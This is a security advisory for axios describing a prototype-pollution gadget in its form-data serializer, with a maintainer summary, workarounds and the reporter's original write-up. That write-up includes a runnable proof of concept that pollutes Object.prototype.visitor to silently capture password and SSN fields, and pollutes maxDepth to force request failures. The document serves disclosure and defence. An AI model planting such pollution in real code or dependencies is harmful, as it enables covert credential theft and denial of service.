## Summary
Axios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.
Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.
## Impact
The impact depends on which property is polluted and which axios serialization path the application uses.
Polluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.
## Affected Functionality
Affected:
- `axios.toFormData()`.
- `transformRequest` paths that serialize plain objects to `multipart/form-data`.
- URL-encoded form serialization paths that rely on the same helper.
- `formSerializer` option defaults when the relevant properties are absent as own properties.
Not affected:
- JSON request bodies.
- Requests that do not invoke `toFormData()`.
- Processes where `Object.prototype` is not polluted.
## Technical Details
`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:
```js
{
metaTokens: true,
dots: false,
indexes: false
}
```
That default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:
```js
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;
```
These reads can resolve inherited polluted properties.
Local code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.
## Proof of Concept of Attack
Constrained local demonstration:
```js
Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, {
headers: { 'Content-Type': 'multipart/form-data' }
});
```
Expected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.
For serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.
## Workarounds
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.
<details>
<summary><h3>Original report</h3></summary>
### Summary
_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._
_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._
### Details
#### Root Cause
_The attack chain has three steps:_
_**Step 1: `formSerializer` is read safely, but `undefined` flows through**_
_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_
```js
const formSerializer = own(this, 'formSerializer');
```
_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_
```js
return toFormData(data, _FormData && new _FormData(), formSerializer);
// ^^^^^^^^^^^^ undefined
```
_**Step 2: `toFlatObject` returns a plain-object default**_
_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_
```js
options = utils.toFlatObject(
options, // undefined
{ metaTokens: true, dots: false, indexes: false }, // plain object literal
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
```
_`toFlatObject` has an early-return for null/undefined sources:_
```js
// lib/utils.js:607
if (sourceObj == null) return destObj;
```
_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._
_**Step 3: Options are read without `hasOwnProp` guards**_
_The six option properties are read directly from the plain object:_
```js
const metaTokens = options.metaTokens; // line 117
const visitor = options.visitor || defaultVisitor; // line 119
const dots = options.dots; // line 120
const indexes = options.indexes; // line 121
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122
const maxDepth = options.maxDepth === undefined // line 123
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
```
_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._
#### Why the Existing Defenses Didn't Catch This
_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._
### PoC
#### Reproduction Steps
#### Environment
_Any environment with Node.js and npm. Tested on:_
_- Node.js v24.15.0, npm 11.13.0_
_- axios v1.18.1 (latest release at time of writing)_
##### Step 1: Create a fresh project
```bash
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install
[email protected]
```
##### Step 2: Create the PoC file
_Create `poc.mjs` with the following content:_
```js
import axios from 'axios';
import http from 'http';
// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// Exfiltration: visitor intercepts all form fields
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
// DoS: nested object rejected by polluted maxDepth
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
// "Object is too deeply nested (3 levels). Max depth: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
```
##### Step 3: Run the PoC
```bash
node poc.mjs
```
### Impact
#### 1. Data Exfiltration via `visitor` (Confidentiality: High)
_A polluted `Object.prototype.visitor` function is called as the form data visitor:_
```js
visitor.call(formData, el, key, path, exposedHelpers)
```
_The attacker receives:_
_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_
_- **`key`** — the field name_
_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_
_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_
_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._
#### 2. Denial of Service via `maxDepth` (Availability: Low)
_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._
#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)
_Polluting these options changes the serialization format of form field names:_
_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_
_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_
_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_
_The server may misinterpret the submitted form data, leading to silent data corruption._
</details>
---